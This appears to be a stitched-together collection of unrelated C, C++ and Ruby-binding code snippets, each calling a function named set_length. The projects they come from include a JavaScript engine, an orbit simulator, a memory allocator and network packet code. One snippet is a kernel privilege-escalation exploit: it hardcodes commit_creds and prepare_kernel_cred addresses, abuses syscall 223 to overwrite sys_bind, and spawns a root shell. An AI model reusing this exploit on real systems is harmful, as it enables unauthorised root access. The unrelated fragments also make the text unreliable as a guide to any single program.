void scroll_bar:: set_max_slider_pos ( long mpos ) { auto_mutex M(m); max_pos = mpos; if (pos > mpos) pos = mpos; if (ori == HORIZONTAL) set_length(rect.width()); else set_length(rect.height()); if (mpos != 0 && enabled) { b1.enable(); b2.enable(); } else { b1.disable(); b2.disable(); } }
// ============================================================================================================================================== // Radius vector will point in vernal equinox // void Orbit::CreateNewCircularOrbit(Orbit *plane, double rad) { double mu=plane->myy; double vcir=sqrt(mu/rad); VECTOR3 rv=plane->Position(0); VECTOR3 vv=crossp(plane->norv,rv); Elements(set_length(rv,rad),set_length(vv,vcir),mu,false); }
/* ECMA-262 3rd Edition 15.4.4.9 */ static HRESULT Array_shift(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, unsigned argc, jsval_t *argv, jsval_t *r) { jsdisp_t *jsthis; DWORD length = 0, i; jsval_t v, ret; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, &jsthis, &length); if(FAILED(hres)) return hres; if(!length) { hres = set_length(jsthis, 0); if(FAILED(hres)) return hres; } if(!length) { if(r) *r = jsval_undefined(); return S_OK; } hres = jsdisp_get_idx(jsthis, 0, &ret); if(hres == DISP_E_UNKNOWNNAME) { ret = jsval_undefined(); hres = S_OK; } for(i=1; SUCCEEDED(hres) && i<length; i++) { hres = jsdisp_get_idx(jsthis, i, &v); if(hres == DISP_E_UNKNOWNNAME) hres = jsdisp_delete_idx(jsthis, i-1); else if(SUCCEEDED(hres)) hres = jsdisp_propput_idx(jsthis, i-1, v); } if(SUCCEEDED(hres)) { hres = jsdisp_delete_idx(jsthis, length-1); if(SUCCEEDED(hres)) hres = set_length(jsthis, length-1); } if(FAILED(hres)) return hres; if(r) *r = ret; else jsval_release(ret); return hres; }
/* ECMA-262 3rd Edition 15.4.4.9 */ static HRESULT Array_shift(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, DISPPARAMS *dp, VARIANT *retv, jsexcept_t *ei) { jsdisp_t *jsthis; DWORD length = 0, i; VARIANT v, ret; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, ei, &jsthis, &length); if(FAILED(hres)) return hres; if(!length) { hres = set_length(jsthis, ei, 0); if(FAILED(hres)) return hres; } if(!length) { if(retv) V_VT(retv) = VT_EMPTY; return S_OK; } hres = jsdisp_get_idx(jsthis, 0, &ret, ei); if(hres == DISP_E_UNKNOWNNAME) { V_VT(&ret) = VT_EMPTY; hres = S_OK; } for(i=1; SUCCEEDED(hres) && i<length; i++) { hres = jsdisp_get_idx(jsthis, i, &v, ei); if(hres == DISP_E_UNKNOWNNAME) hres = jsdisp_delete_idx(jsthis, i-1); else if(SUCCEEDED(hres)) hres = jsdisp_propput_idx(jsthis, i-1, &v, ei); } if(SUCCEEDED(hres)) { hres = jsdisp_delete_idx(jsthis, length-1); if(SUCCEEDED(hres)) hres = set_length(jsthis, ei, length-1); } if(SUCCEEDED(hres) && retv) *retv = ret; else VariantClear(&ret); return hres; }
static HRESULT Array_pop(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, DISPPARAMS *dp, VARIANT *retv, jsexcept_t *ei) { jsdisp_t *jsthis; VARIANT val; DWORD length; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, ei, &jsthis, &length); if(FAILED(hres)) return hres; if(!length) { hres = set_length(jsthis, ei, 0); if(FAILED(hres)) return hres; if(retv) V_VT(retv) = VT_EMPTY; return S_OK; } length--; hres = jsdisp_get_idx(jsthis, length, &val, ei); if(SUCCEEDED(hres)) { hres = jsdisp_delete_idx(jsthis, length); } else if(hres == DISP_E_UNKNOWNNAME) { V_VT(&val) = VT_EMPTY; hres = S_OK; } else return hres; if(SUCCEEDED(hres)) hres = set_length(jsthis, ei, length); if(FAILED(hres)) { VariantClear(&val); return hres; } if(retv) *retv = val; else VariantClear(&val); return S_OK; }
static HRESULT Array_pop(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, unsigned argc, jsval_t *argv, jsval_t *r) { jsdisp_t *jsthis; jsval_t val; DWORD length; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, &jsthis, &length); if(FAILED(hres)) return hres; if(!length) { hres = set_length(jsthis, 0); if(FAILED(hres)) return hres; if(r) *r = jsval_undefined(); return S_OK; } length--; hres = jsdisp_get_idx(jsthis, length, &val); if(SUCCEEDED(hres)) hres = jsdisp_delete_idx(jsthis, length); else if(hres == DISP_E_UNKNOWNNAME) { val = jsval_undefined(); hres = S_OK; }else return hres; if(SUCCEEDED(hres)) hres = set_length(jsthis, length); if(FAILED(hres)) { jsval_release(val); return hres; } if(r) *r = val; else jsval_release(val); return hres; }
/* ECMA-262 3rd Edition 15.4.4.7 */ static HRESULT Array_push(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, DISPPARAMS *dp, VARIANT *retv, jsexcept_t *ei) { jsdisp_t *jsthis; DWORD length = 0; int i, n; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, ei, &jsthis, &length); if(FAILED(hres)) return hres; n = arg_cnt(dp); for(i=0; i < n; i++) { hres = jsdisp_propput_idx(jsthis, length+i, get_arg(dp, i), ei); if(FAILED(hres)) return hres; } hres = set_length(jsthis, ei, length+n); if(FAILED(hres)) return hres; if(retv) { V_VT(retv) = VT_I4; V_I4(retv) = length+n; } return S_OK; }
/* Deze methode wijst length woorden toe aan een proces. De overgebleven * woorden worden gezien als nieuw vrij blok. */ int split_block(long index, long length){ long blockleng = get_length(index); long newidx = index + length + ADMIN_SIZE; long newleng = blockleng - length - ADMIN_SIZE; if(blockleng < length + ADMIN_SIZE + 1){ /* Geen ruimte voor een nieuw blok van minimaal 1 woord. */ return -1; } /* Maak het nieuwe blok. Plaats deze na 'length' woorden. */ new_block(newidx, newleng, index, get_next(index)); /* Als het huidige blok een volgende blok heeft moet de pointer van * dat blok welke naar zijn vorige blok wijst naar het nieuwe blok * gezet worden.*/ if(get_next(index) != 0){ set_prev(get_next(index), newidx); } /* Zet het volgende blok van het huidige blok naar het nieuwe blok. */ set_next(index, newidx); /* Zet de length van het huidige blok en zet hem op toegewezen. */ set_length(index, length); set_free(index, 0); /* Verhoog het aantal loze woorden. */ mem[1] += ADMIN_SIZE; /* Verhoog het aantal toegewezen woorden. */ mem[0] += length; /* De index waar begonnen mag worden met schrijven is het blok index * plus de lengte van de administratie. */ return index + ADMIN_SIZE; }
void file_info::reset() { info_remove_all(); meta_remove_all(); set_length(0); reset_replaygain(); }
static CK_RV COMMON_token_import_cert(ykpiv_state *state, CK_ULONG cert_id, CK_BYTE_PTR in) { unsigned char certdata[3072]; unsigned char *certptr; CK_ULONG cert_len; CK_RV rv; // Check whether or not we have a valid cert if ((rv = do_check_cert(in, &cert_len)) != CKR_OK) return rv; if (cert_len > 3072) return CKR_FUNCTION_FAILED; certptr = certdata; *certptr++ = 0x70; certptr += set_length(certptr, cert_len); memcpy(certptr, in, cert_len); certptr += cert_len; *certptr++ = 0x71; *certptr++ = 1; *certptr++ = 0; /* certinfo (gzip etc) */ *certptr++ = 0xfe; /* LRC */ *certptr++ = 0; // Store the certificate into the token if (ykpiv_save_object(state, cert_id, certdata, (size_t)(certptr - certdata)) != YKPIV_OK) return CKR_DEVICE_ERROR; return CKR_OK; }
/* ECMA-262 3rd Edition 15.4.4.7 */ static HRESULT Array_push(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, unsigned argc, jsval_t *argv, jsval_t *r) { jsdisp_t *jsthis; DWORD length = 0; unsigned i; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, &jsthis, &length); if(FAILED(hres)) return hres; for(i=0; i < argc; i++) { hres = jsdisp_propput_idx(jsthis, length+i, argv[i]); if(FAILED(hres)) return hres; } hres = set_length(jsthis, length+argc); if(FAILED(hres)) return hres; if(r) *r = jsval_number(length+argc); return S_OK; }
/* Deze methode zet het blok op index op vrij, indien mogelijk fuseert het * met omringende vrije blokken. */ void free_block(long index){ long prev = get_prev(index); long next = get_next(index); if(!get_free(index)){ /* Zet het blok op vrij. */ set_free(index, 1); mem[0] -= get_length(index); } /* Voeg vorige blok samen met het huidige als deze vrij is als een groot * vrij blok. */ if(prev != 0 && get_free(prev)){ set_length(prev, get_length(prev) + get_length(index) + ADMIN_SIZE); set_next(prev, next); if(next != 0){ set_prev(next, prev); } mem[1] -= ADMIN_SIZE; } /* Voeg volgende blok samen met het huidige als deze vrij is als een * groot vrij blok. */ if(next != 0 && get_free(next)){ free_block(next); } }
// ============================================================================================================================================== // Define planet excape orbit, Pos = vessel position, Esc = Escape vector, // void Orbit::EscapeOrbit(OBJHANDLE ref,VECTOR3 Pos,VECTOR3 Esc,VECTOR3 normal) { double myy=GC*oapiGetMass(ref); double rad=length(Pos); double Esc2=dotp(Esc,Esc); double ang=nangle(Pos,Esc,normal); double sma = -myy / Esc2; // (constant) double sq=sin(ang); double q=rad*rad*sq*sq; double w=2.0*sma*rad*(cos(ang)-1.0); double ecc=sqrt((q-rad*sq*sqrt(q+2.0*w)+w)/(2.0*sma*sma)+1.0); double par=sma*(1.0-ecc*ecc); // Compute Tangential angle double x=(par-rad)/(rad*ecc); if (x>1) x=1; if (x<-1) x=-1; double tra=acos(x); double y=PI+acos(1.0/ecc); if (ang<y) tra=PI2-tra; double ta=tra2gamma(tra,ecc); VECTOR3 Vel=create_vector(normal,Pos,ta); Vel=set_length(Vel,sqrt(2*myy/rad - myy/sma)); Elements(Pos,Vel,myy); }
void QcRoundRobinDatabase::init(bool allocate) { size_t header_size = compute_slot_size(HEADER_FORMAT) + m_slot_format.length(); // Round size to 8-byte m_header_size = (header_size/8)*8; if (m_header_size < header_size) m_header_size += 8; size_t slot_format_length = m_slot_format.length(); m_buffer << static_cast<quint8>(VERSION) << static_cast<quint16>(m_position) << static_cast<quint16>(m_number_of_used_slots) << static_cast<quint16>(m_header_size) << static_cast<quint16>(m_number_of_reserved_slots) << static_cast<quint16>(m_slot_size) << static_cast<quint8>(slot_format_length); m_buffer.writeRawData(m_slot_format.toStdString().c_str(), slot_format_length); // don't include terminal \0 // clear padding for (size_t i = 0; i < (m_header_size - header_size); i++) m_buffer << static_cast<quint8>(0); if (allocate) set_length(); }
/* * Creates a Vendor Request message. This message can be used * to facilitate sending of vendor-defined arbitrary data. * * @overload initialize * @example * Vendor.new * * @overload initialize(options) * @example * Vendor.new( * :vendor => 0x3000, * :data => "deadbeef".unpack( "C*" ), * :transaction_id => 123 * ) * * @param [Hash] options * the options to create a message with. * @option options [Number] :xid * @option options [Number] :transaction_id * an unsigned 32bit integer number associated with this message. * if not specified, an auto-generated value is set. * @option options [Number] :vendor * the vendor identifier. If MSB is zero low order bytes are IEEE OUI. Otherwise defined by openflow. * @option options [Array] :data * a String that holds vendor's defined arbitrary length data. * * @raise [ArgumentError] if transaction ID is not an unsigned 32-bit integer. * @raise [ArgumentError] if user data is not an array of bytes. * @raise [TypeError] if options is not a hash. * @return [Vendor] */ static VALUE vendor_init( int argc, VALUE *argv, VALUE self ) { buffer *vendor = NULL; Data_Get_Struct( self, buffer, vendor ); VALUE options = Qnil; if ( rb_scan_args( argc, argv, "01", &options ) == 0 ) { set_xid( vendor, get_transaction_id() ); } else { if ( options == Qnil ) { set_xid( vendor, get_transaction_id() ); } else { if ( rb_scan_args( argc, argv, "01", &options ) == 1 ) { Check_Type( options, T_HASH ); VALUE tmp = Qnil; VALUE xid = Qnil; tmp = rb_hash_aref( options, ID2SYM( rb_intern( "transaction_id" ) ) ); if ( tmp != Qnil ) { xid = tmp; } tmp = rb_hash_aref( options, ID2SYM( rb_intern( "xid" ) ) ); if ( tmp != Qnil ) { xid = tmp; } if ( xid != Qnil ) { validate_xid( xid ); set_xid( vendor, ( uint32_t ) NUM2UINT( xid ) ); } else { set_xid( vendor, get_transaction_id() ); } tmp = rb_hash_aref( options, ID2SYM( rb_intern( "vendor" ) ) ); if ( tmp != Qnil ) { ( ( struct ofp_vendor_header * ) ( vendor->data ) )->vendor = htonl( ( uint32_t ) NUM2UINT( tmp ) ); } tmp = rb_hash_aref( options, ID2SYM( rb_intern( "data" ) ) ); if ( tmp != Qnil ) { Check_Type( tmp, T_ARRAY ); uint16_t length = ( uint16_t ) RARRAY_LEN( tmp ); append_back_buffer( vendor, length ); set_length( vendor, length ); uint8_t *data = ( uint8_t * ) ( ( char * ) vendor->data + sizeof( struct ofp_vendor_header ) ); int i; for ( i = 0; i < length; i++ ) { data[ i ] = ( uint8_t ) FIX2INT( RARRAY_PTR( tmp )[ i ] ); } } } } } return self; }
// Constructor for use with hardware SPI (specific clock/data pins): WS2801::WS2801(const char* spi_device_arg, uint16_t n) : spi_delay(0), pixels(0) { spi_device = strdup(spi_device_arg); spi_start(); set_length(n); }
DParray::DParray(int l,const vector<int>& v1,const vector<double>& v2,const Matrix& M,double Beta) :DPengine(v1,v2,M,Beta) { set_length(l); for(int s=0; s<start_P.size(); s++) (*this)(0,s) = start_P[s]; }
Subunit::Subunit() { set_length(1); set_number_of_bonds_created(0); set_spring_constant(1); }
//Find length of a cluster in units of pixels in a row void Cluster::find_length(){ //Sort by row hits.sort(compare_rows); //Then take the difference of the first and last values set_length(hits.back().get_row() - hits.front().get_row() + 1); }
/* ECMA-262 3rd Edition 15.4.4.13 */ static HRESULT Array_unshift(script_ctx_t *ctx, vdisp_t *vthis, WORD flags, unsigned argc, jsval_t *argv, jsval_t *r) { jsdisp_t *jsthis; WCHAR buf[14], *buf_end, *str; DWORD i, length; jsval_t val; DISPID id; HRESULT hres; TRACE("\n"); hres = get_length(ctx, vthis, &jsthis, &length); if(FAILED(hres)) return hres; if(argc) { buf_end = buf + sizeof(buf)/sizeof(WCHAR)-1; *buf_end-- = 0; i = length; while(i--) { str = idx_to_str(i, buf_end); hres = jsdisp_get_id(jsthis, str, 0, &id); if(SUCCEEDED(hres)) { hres = jsdisp_propget(jsthis, id, &val); if(FAILED(hres)) return hres; hres = jsdisp_propput_idx(jsthis, i+argc, val); jsval_release(val); }else if(hres == DISP_E_UNKNOWNNAME) { hres = IDispatchEx_DeleteMemberByDispID(vthis->u.dispex, id); } } if(FAILED(hres)) return hres; } for(i=0; i<argc; i++) { hres = jsdisp_propput_idx(jsthis, i, argv[i]); if(FAILED(hres)) return hres; } if(argc) { length += argc; hres = set_length(jsthis, length); if(FAILED(hres)) return hres; } if(r) *r = ctx->version < 2 ? jsval_undefined() : jsval_number(length); return S_OK; }
void file_info::copy(const file_info & p_source) { if (&p_source != this) { copy_meta(p_source); copy_info(p_source); set_length(p_source.get_length()); set_replaygain(p_source.get_replaygain()); } }
//! assuming the packet has been properly initialized, //! this will fill bytes from @buffer into this packets buffer, //! then return the number of bytes written. buffer is unmodified uint32_t fill(const std::string& buffer) { uint32_t rem = capacity(); uint32_t total = (buffer.size() < rem) ? buffer.size() : rem; // copy from buffer to packet buffer memcpy(data() + data_length(), buffer.data(), total); // set new packet length set_length(data_length() + total); return total; }
void stack_init(struct EngineThread *eng, struct RotorStack *stk, unsigned int id) { struct TopRotor *top = eng->top; struct Rotor *r; int i; memset(stk, 0, sizeof(*stk)); stk->eng = eng; stk->id = id; stk->eng->active++; r = get_rotor(stk, -1); r->step = top_step; r->wiring = top->wiring; r->pos = -1; r = get_rotor(stk, 0); r->step = top_step; r->wiring = top->wiring; for (i = 1; i < MAX_LEN; i++) { r = get_rotor(stk, i); r->pos = i; r->wiring = top->wiring; r->step = top->step_list; r->angle = top->wlen - 1; } if (top->nrotors == 0) { // first top->nrotors = top->start_len; set_length(stk, top->nrotors); if (top->start_len == 0) { top->start_len++; } else { r = get_rotor(stk, 0); rotate_many(stk, r); } } else { set_length(stk, top->nrotors); top_rotate(stk); } }
/* send conn's ip and port which used to connect to user server * to mesage server */ void send_conn_info_to_message(struct conn_server *server) { struct list_packet *lp = allocator_malloc(&server->packet_allocator); packet_init(lp); set_length(lp, 18); set_command(lp, CMD_CONN_INFO); set_field_uint32_t(get_parameters(lp), 0, server->conn_user_ip); set_field_uint16_t(get_parameters(lp), 4, server->conn_user_port); list_add_tail(&lp->list, &(server->message_conn.send_packet_list)); wait_for_write(server->efd, server->message_conn.sfd); }
bool set_component_with_len(unsigned char **in_ptr, const BIGNUM *bn, int element_len) { int real_len = BN_num_bytes(bn); *in_ptr += set_length(*in_ptr, element_len); if(real_len > element_len) { return false; } memset(*in_ptr, 0, (size_t)(element_len - real_len)); *in_ptr += element_len - real_len; *in_ptr += BN_bn2bin(bn, *in_ptr); return true; }
int main() { pwn_t p; uint32_t addr[64]; p.commit_creds = 0x8003f56c; p.prepare_kernel_cred = 0x8003f924; // Turn sys_upper into a strcpy - mov r12, r2. syscall(223, "\x02\xc0\xa0\xe1", 0x7f000000+0x24); // Now we have arbitrary memcpy. Overwrite sys_bind with our function. set_length(32); syscall(223, &pwn, 0x802bddd4); set_length(4); syscall(__NR_bind, 0, &p, 0); char *shell[] = {"/bin/sh", NULL}; execve(shell[0], shell, NULL); }
inline size_t Packet_v<Ptr_type>::fill(const uint8_t* buffer, size_t length) { size_t rem = ip_capacity() - udp_length(); if(rem == 0) return 0; size_t total = std::min(length, rem); // copy from buffer to packet buffer memcpy(udp_data() + udp_data_length(), buffer, total); // set new packet length set_length(udp_data_length() + total); return total; }
ssize_t send_location(int fd, const Location& location) { std::uint8_t buf[SIZE_LOCATION]; set_type(buf, TYPE_LOCATION); set_length(buf, sizeof(double) * 4); set_location_x(buf, location.x); set_location_y(buf, location.y); set_location_z(buf, location.z); set_location_d(buf, location.d); return send(fd, &buf, sizeof(buf), 0); }
static int string_set(struct objlist *obj, N_VALUE *inst, N_VALUE *rval, int argc, char **argv) { char *str; str = argv[2]; if (str == NULL) { set_length(obj, inst, str); return 0; } if (! g_utf8_validate(str, -1, NULL)) { error(obj, ERR_INVALID_UTF8); return 1; } set_length(obj, inst, str); return 0; }
void file_info::copy(const file_info * src) { meta_remove_all(); info_remove_all(); set_location(src->get_location()); set_length(src->get_length()); int n; for(n=0;n<src->meta_get_count();n++) meta_add(src->meta_enum_name(n),src->meta_enum_value(n)); for(n=0;n<src->info_get_count();n++) info_set(src->info_enum_name(n),src->info_enum_value(n)); }